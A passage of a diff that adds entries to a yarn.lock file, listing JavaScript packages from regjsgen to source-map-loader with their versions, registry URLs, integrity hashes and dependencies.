+    unicode-match-property-value-ecmascript "^2.1.0"
+
+regjsgen@^0.8.0:
+  version "0.8.0"
+  resolved "https://registry.yarnpkg.com/regjsgen/-/regjsgen-0.8.0.tgz#df23ff26e0c5b300a6470cad160a9d090c3a37ab"
+  integrity sha512-RvwtGe3d7LvWiDQXeQw8p5asZUmfU1G/l6WbUXeHta7Y2PEIvBTwH6E2EfmYUK8pxcxEdEmaomqyp0vZZ7C+3Q==
+
+regjsparser@^0.12.0:
+  version "0.12.0"
+  resolved "https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.12.0.tgz#0e846df6c6530586429377de56e0475583b088dc"
+  integrity sha512-cnE+y8bz4NhMjISKbgeVJtqNbtf5QpjZP+Bslo+UqkIt9QPnX9q095eiRRASJG1/tz6dlNr6Z5NsBiWYokp6EQ==
+  dependencies:
+    jsesc "~3.0.2"
+
+relateurl@^0.2.7:
+  version "0.2.7"
+  resolved "https://registry.yarnpkg.com/relateurl/-/relateurl-0.2.7.tgz#54dbf377e51440aca90a4cd274600d3ff2d888a9"
+  integrity sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==
+
+renderkid@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/renderkid/-/renderkid-3.0.0.tgz#5fd823e4d6951d37358ecc9a58b1f06836b6268a"
+  integrity sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==
+  dependencies:
+    css-select "^4.1.3"
+    dom-converter "^0.2.0"
+    htmlparser2 "^6.1.0"
+    lodash "^4.17.21"
+    strip-ansi "^6.0.1"
+
+require-directory@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
+  integrity sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==
+
+require-from-string@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/require-from-string/-/require-from-string-2.0.2.tgz#89a7fdd938261267318eafe14f9c32e598c36909"
+  integrity sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==
+
+requires-port@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/requires-port/-/requires-port-1.0.0.tgz#925d2601d39ac485e091cf0da5c6e694dc3dcaff"
+  integrity sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==
+
+resolve-cwd@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-cwd/-/resolve-cwd-3.0.0.tgz#0f0075f1bb2544766cf73ba6a6e2adfebcb13f2d"
+  integrity sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==
+  dependencies:
+    resolve-from "^5.0.0"
+
+resolve-from@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6"
+  integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==
+
+resolve-from@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-5.0.0.tgz#c35225843df8f776df21c57557bc087e9dfdfc69"
+  integrity sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==
+
+resolve-url-loader@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-url-loader/-/resolve-url-loader-4.0.0.tgz#d50d4ddc746bb10468443167acf800dcd6c3ad57"
+  integrity sha512-05VEMczVREcbtT7Bz+C+96eUO5HDNvdthIiMB34t7FcF8ehcu4wC0sSgPUubs3XW2Q3CNLJk/BJrCU9wVRymiA==
+  dependencies:
+    adjust-sourcemap-loader "^4.0.0"
+    convert-source-map "^1.7.0"
+    loader-utils "^2.0.0"
+    postcss "^7.0.35"
+    source-map "0.6.1"
+
+resolve.exports@^1.1.0:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/resolve.exports/-/resolve.exports-1.1.1.tgz#05cfd5b3edf641571fd46fa608b610dda9ead999"
+  integrity sha512-/NtpHNDN7jWhAaQ9BvBUYZ6YTXsRBgfqWFWP7BZBaoMJO/I3G5OFzvTuWNlZC3aPjins1F+TNrLKsGbH4rfsRQ==
+
+resolve@^1.1.7, resolve@^1.14.2, resolve@^1.19.0, resolve@^1.20.0, resolve@^1.22.4, resolve@^1.22.8:
+  version "1.22.10"
+  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.10.tgz#b663e83ffb09bbf2386944736baae803029b8b39"
+  integrity sha512-NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w==
+  dependencies:
+    is-core-module "^2.16.0"
+    path-parse "^1.0.7"
+    supports-preserve-symlinks-flag "^1.0.0"
+
+resolve@^2.0.0-next.5:
+  version "2.0.0-next.5"
+  resolved "https://registry.yarnpkg.com/resolve/-/resolve-2.0.0-next.5.tgz#6b0ec3107e671e52b68cd068ef327173b90dc03c"
+  integrity sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA==
+  dependencies:
+    is-core-module "^2.13.0"
+    path-parse "^1.0.7"
+    supports-preserve-symlinks-flag "^1.0.0"
+
+retry@^0.13.1:
+  version "0.13.1"
+  resolved "https://registry.yarnpkg.com/retry/-/retry-0.13.1.tgz#185b1587acf67919d63b357349e03537b2484658"
+  integrity sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==
+
+reusify@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/reusify/-/reusify-1.0.4.tgz#90da382b1e126efc02146e90845a88db12925d76"
+  integrity sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==
+
+rimraf@^3.0.0, rimraf@^3.0.2:
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-3.0.2.tgz#f1a5402ba6220ad52cc1282bac1ae3aa49fd061a"
+  integrity sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==
+  dependencies:
+    glob "^7.1.3"
+
+rollup-plugin-terser@^7.0.0:
+  version "7.0.2"
+  resolved "https://registry.yarnpkg.com/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz#e8fbba4869981b2dc35ae7e8a502d5c6c04d324d"
+  integrity sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==
+  dependencies:
+    "@babel/code-frame" "^7.10.4"
+    jest-worker "^26.2.1"
+    serialize-javascript "^4.0.0"
+    terser "^5.0.0"
+
+rollup@^2.43.1:
+  version "2.79.2"
+  resolved "https://registry.yarnpkg.com/rollup/-/rollup-2.79.2.tgz#f150e4a5db4b121a21a747d762f701e5e9f49090"
+  integrity sha512-fS6iqSPZDs3dr/y7Od6y5nha8dW1YnbgtsyotCVvoFGKbERG++CVRFv1meyGDE1SNItQA8BrnCw7ScdAhRJ3XQ==
+  optionalDependencies:
+    fsevents "~2.3.2"
+
+run-parallel@^1.1.9:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/run-parallel/-/run-parallel-1.2.0.tgz#66d1368da7bdf921eb9d95bd1a9229e7f21a43ee"
+  integrity sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==
+  dependencies:
+    queue-microtask "^1.2.2"
+
+safe-array-concat@^1.1.2, safe-array-concat@^1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/safe-array-concat/-/safe-array-concat-1.1.3.tgz#c9e54ec4f603b0bbb8e7e5007a5ee7aecd1538c3"
+  integrity sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.2"
+    get-intrinsic "^1.2.6"
+    has-symbols "^1.1.0"
+    isarray "^2.0.5"
+
+safe-buffer@5.2.1, safe-buffer@>=5.1.0, safe-buffer@^5.1.0, safe-buffer@~5.2.0:
+  version "5.2.1"
+  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
+  integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
+
+safe-buffer@~5.1.0, safe-buffer@~5.1.1:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
+  integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
+
+safe-push-apply@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/safe-push-apply/-/safe-push-apply-1.0.0.tgz#01850e981c1602d398c85081f360e4e6d03d27f5"
+  integrity sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==
+  dependencies:
+    es-errors "^1.3.0"
+    isarray "^2.0.5"
+
+safe-regex-test@^1.0.3, safe-regex-test@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/safe-regex-test/-/safe-regex-test-1.1.0.tgz#7f87dfb67a3150782eaaf18583ff5d1711ac10c1"
+  integrity sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    is-regex "^1.2.1"
+
+"safer-buffer@>= 2.1.2 < 3", "safer-buffer@>= 2.1.2 < 3.0.0":
+  version "2.1.2"
+  resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
+  integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
+
+sanitize.css@*:
+  version "13.0.0"
+  resolved "https://registry.yarnpkg.com/sanitize.css/-/sanitize.css-13.0.0.tgz#2675553974b27964c75562ade3bd85d79879f173"
+  integrity sha512-ZRwKbh/eQ6w9vmTjkuG0Ioi3HBwPFce0O+v//ve+aOq1oeCy7jMV2qzzAlpsNuqpqCBjjriM1lbtZbF/Q8jVyA==
+
+sass-loader@^12.3.0:
+  version "12.6.0"
+  resolved "https://registry.yarnpkg.com/sass-loader/-/sass-loader-12.6.0.tgz#5148362c8e2cdd4b950f3c63ac5d16dbfed37bcb"
+  integrity sha512-oLTaH0YCtX4cfnJZxKSLAyglED0naiYfNG1iXfU5w1LNZ+ukoA5DtyDIN5zmKVZwYNJP4KRc5Y3hkWga+7tYfA==
+  dependencies:
+    klona "^2.0.4"
+    neo-async "^2.6.2"
+
+sax@~1.2.4:
+  version "1.2.4"
+  resolved "https://registry.yarnpkg.com/sax/-/sax-1.2.4.tgz#2816234e2378bddc4e5354fab5caa895df7100d9"
+  integrity sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==
+
+saxes@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/saxes/-/saxes-5.0.1.tgz#eebab953fa3b7608dbe94e5dadb15c888fa6696d"
+  integrity sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==
+  dependencies:
+    xmlchars "^2.2.0"
+
+scheduler@0.0.0-experimental-d85cf3e5-20250205:
+  version "0.0.0-experimental-d85cf3e5-20250205"
+  resolved "https://registry.yarnpkg.com/scheduler/-/scheduler-0.0.0-experimental-d85cf3e5-20250205.tgz#b0158d10f637749790d932db97ef139d03dc7522"
+  integrity sha512-4x4Z4ikaqwOq3/idgZ/8JyEvdglDq9tZsMWhyiQFOQQ60s7Jn4jIW0CRyPZwGqGL3XIOnJsJkCGH1e74tuVcCQ==
+
+schema-utils@2.7.0:
+  version "2.7.0"
+  resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-2.7.0.tgz#17151f76d8eae67fbbf77960c33c676ad9f4efc7"
+  integrity sha512-0ilKFI6QQF5nxDZLFn2dMjvc4hjg/Wkg7rHd3jK6/A4a1Hl9VFdQWvgB1UMGoU94pad1P/8N7fMcEnLnSiju8A==
+  dependencies:
+    "@types/json-schema" "^7.0.4"
+    ajv "^6.12.2"
+    ajv-keywords "^3.4.1"
+
+schema-utils@^2.6.5:
+  version "2.7.1"
+  resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-2.7.1.tgz#1ca4f32d1b24c590c203b8e7a50bf0ea4cd394d7"
+  integrity sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==
+  dependencies:
+    "@types/json-schema" "^7.0.5"
+    ajv "^6.12.4"
+    ajv-keywords "^3.5.2"
+
+schema-utils@^3.0.0, schema-utils@^3.2.0:
+  version "3.3.0"
+  resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-3.3.0.tgz#f50a88877c3c01652a15b622ae9e9795df7a60fe"
+  integrity sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==
+  dependencies:
+    "@types/json-schema" "^7.0.8"
+    ajv "^6.12.5"
+    ajv-keywords "^3.5.2"
+
+schema-utils@^4.0.0, schema-utils@^4.2.0, schema-utils@^4.3.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-4.3.0.tgz#3b669f04f71ff2dfb5aba7ce2d5a9d79b35622c0"
+  integrity sha512-Gf9qqc58SpCA/xdziiHz35F4GNIWYWZrEshUc/G/r5BnLph6xpKuLeoJoQuj5WfBIx/eQLf+hmVPYHaxJu7V2g==
+  dependencies:
+    "@types/json-schema" "^7.0.9"
+    ajv "^8.9.0"
+    ajv-formats "^2.1.1"
+    ajv-keywords "^5.1.0"
+
+select-hose@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/select-hose/-/select-hose-2.0.0.tgz#625d8658f865af43ec962bfc376a37359a4994ca"
+  integrity sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg==
+
+selfsigned@^2.1.1:
+  version "2.4.1"
+  resolved "https://registry.yarnpkg.com/selfsigned/-/selfsigned-2.4.1.tgz#560d90565442a3ed35b674034cec4e95dceb4ae0"
+  integrity sha512-th5B4L2U+eGLq1TVh7zNRGBapioSORUeymIydxgFpwww9d2qyKvtuPU2jJuHvYAwwqi2Y596QBL3eEqcPEYL8Q==
+  dependencies:
+    "@types/node-forge" "^1.3.0"
+    node-forge "^1"
+
+semver@^6.0.0, semver@^6.3.0, semver@^6.3.1:
+  version "6.3.1"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4"
+  integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==
+
+semver@^7.3.2, semver@^7.3.5, semver@^7.3.7, semver@^7.5.3, semver@^7.5.4:
+  version "7.7.1"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-7.7.1.tgz#abd5098d82b18c6c81f6074ff2647fd3e7220c9f"
+  integrity sha512-hlq8tAfn0m/61p4BVRcPzIGr6LKiMwo4VM6dGi6pt4qcRkmNzTcWq6eCEjEh+qXjkMDvPlOFFSGwQjoEa6gyMA==
+
+send@0.19.0:
+  version "0.19.0"
+  resolved "https://registry.yarnpkg.com/send/-/send-0.19.0.tgz#bbc5a388c8ea6c048967049dbeac0e4a3f09d7f8"
+  integrity sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==
+  dependencies:
+    debug "2.6.9"
+    depd "2.0.0"
+    destroy "1.2.0"
+    encodeurl "~1.0.2"
+    escape-html "~1.0.3"
+    etag "~1.8.1"
+    fresh "0.5.2"
+    http-errors "2.0.0"
+    mime "1.6.0"
+    ms "2.1.3"
+    on-finished "2.4.1"
+    range-parser "~1.2.1"
+    statuses "2.0.1"
+
+serialize-javascript@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/serialize-javascript/-/serialize-javascript-4.0.0.tgz#b525e1238489a5ecfc42afacc3fe99e666f4b1aa"
+  integrity sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==
+  dependencies:
+    randombytes "^2.1.0"
+
+serialize-javascript@^6.0.0, serialize-javascript@^6.0.2:
+  version "6.0.2"
+  resolved "https://registry.yarnpkg.com/serialize-javascript/-/serialize-javascript-6.0.2.tgz#defa1e055c83bf6d59ea805d8da862254eb6a6c2"
+  integrity sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==
+  dependencies:
+    randombytes "^2.1.0"
+
+serve-index@^1.9.1:
+  version "1.9.1"
+  resolved "https://registry.yarnpkg.com/serve-index/-/serve-index-1.9.1.tgz#d3768d69b1e7d82e5ce050fff5b453bea12a9239"
+  integrity sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw==
+  dependencies:
+    accepts "~1.3.4"
+    batch "0.6.1"
+    debug "2.6.9"
+    escape-html "~1.0.3"
+    http-errors "~1.6.2"
+    mime-types "~2.1.17"
+    parseurl "~1.3.2"
+
+serve-static@1.16.2:
+  version "1.16.2"
+  resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.16.2.tgz#b6a5343da47f6bdd2673848bf45754941e803296"
+  integrity sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==
+  dependencies:
+    encodeurl "~2.0.0"
+    escape-html "~1.0.3"
+    parseurl "~1.3.3"
+    send "0.19.0"
+
+set-function-length@^1.2.2:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.2.2.tgz#aac72314198eaed975cf77b2c3b6b880695e5449"
+  integrity sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==
+  dependencies:
+    define-data-property "^1.1.4"
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.4"
+    gopd "^1.0.1"
+    has-property-descriptors "^1.0.2"
+
+set-function-name@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/set-function-name/-/set-function-name-2.0.2.tgz#16a705c5a0dc2f5e638ca96d8a8cd4e1c2b90985"
+  integrity sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==
+  dependencies:
+    define-data-property "^1.1.4"
+    es-errors "^1.3.0"
+    functions-have-names "^1.2.3"
+    has-property-descriptors "^1.0.2"
+
+set-proto@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/set-proto/-/set-proto-1.0.0.tgz#0760dbcff30b2d7e801fd6e19983e56da337565e"
+  integrity sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==
+  dependencies:
+    dunder-proto "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+
+setprototypeof@1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.0.tgz#d0bd85536887b6fe7c0d818cb962d9d91c54e656"
+  integrity sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==
+
+setprototypeof@1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.2.0.tgz#66c9a24a73f9fc28cbe66b09fed3d33dcaf1b424"
+  integrity sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==
+
+shebang-command@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea"
+  integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==
+  dependencies:
+    shebang-regex "^3.0.0"
+
+shebang-regex@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172"
+  integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==
+
+shell-quote@^1.7.3, shell-quote@^1.8.1:
+  version "1.8.2"
+  resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.8.2.tgz#d2d83e057959d53ec261311e9e9b8f51dcb2934a"
+  integrity sha512-AzqKpGKjrj7EM6rKVQEPpB288oCfnrEIuyoT9cyF4nmGa7V8Zk6f7RRqYisX8X9m+Q7bd632aZW4ky7EhbQztA==
+
+side-channel-list@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/side-channel-list/-/side-channel-list-1.0.0.tgz#10cb5984263115d3b7a0e336591e290a830af8ad"
+  integrity sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==
+  dependencies:
+    es-errors "^1.3.0"
+    object-inspect "^1.13.3"
+
+side-channel-map@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/side-channel-map/-/side-channel-map-1.0.1.tgz#d6bb6b37902c6fef5174e5f533fab4c732a26f42"
+  integrity sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.5"
+    object-inspect "^1.13.3"
+
+side-channel-weakmap@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz#11dda19d5368e40ce9ec2bdc1fb0ecbc0790ecea"
+  integrity sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.5"
+    object-inspect "^1.13.3"
+    side-channel-map "^1.0.1"
+
+side-channel@^1.0.6, side-channel@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.1.0.tgz#c3fcff9c4da932784873335ec9765fa94ff66bc9"
+  integrity sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==
+  dependencies:
+    es-errors "^1.3.0"
+    object-inspect "^1.13.3"
+    side-channel-list "^1.0.0"
+    side-channel-map "^1.0.1"
+    side-channel-weakmap "^1.0.2"
+
+signal-exit@^3.0.2, signal-exit@^3.0.3:
+  version "3.0.7"
+  resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.7.tgz#a9a1767f8af84155114eaabd73f99273c8f59ad9"
+  integrity sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==
+
+signal-exit@^4.0.1:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-4.1.0.tgz#952188c1cbd546070e2dd20d0f41c0ae0530cb04"
+  integrity sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==
+
+sisteransi@^1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/sisteransi/-/sisteransi-1.0.5.tgz#134d681297756437cc05ca01370d3a7a571075ed"
+  integrity sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==
+
+slash@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/slash/-/slash-3.0.0.tgz#6539be870c165adbd5240220dbe361f1bc4d4634"
+  integrity sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==
+
+slash@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/slash/-/slash-4.0.0.tgz#2422372176c4c6c5addb5e2ada885af984b396a7"
+  integrity sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==
+
+sockjs@^0.3.24:
+  version "0.3.24"
+  resolved "https://registry.yarnpkg.com/sockjs/-/sockjs-0.3.24.tgz#c9bc8995f33a111bea0395ec30aa3206bdb5ccce"
+  integrity sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==
+  dependencies:
+    faye-websocket "^0.11.3"
+    uuid "^8.3.2"
+    websocket-driver "^0.7.4"
+
+source-list-map@^2.0.0, source-list-map@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/source-list-map/-/source-list-map-2.0.1.tgz#3993bd873bfc48479cca9ea3a547835c7c154b34"
+  integrity sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==
+
+source-map-js@^1.0.1, source-map-js@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/source-map-js/-/source-map-js-1.2.1.tgz#1ce5650fddd87abc099eda37dcff024c2667ae46"
+  integrity sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==
+
+source-map-loader@^3.0.0:
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/source-map-loader/-/source-map-loader-3.0.2.tgz#af23192f9b344daa729f6772933194cc5fa54fee"
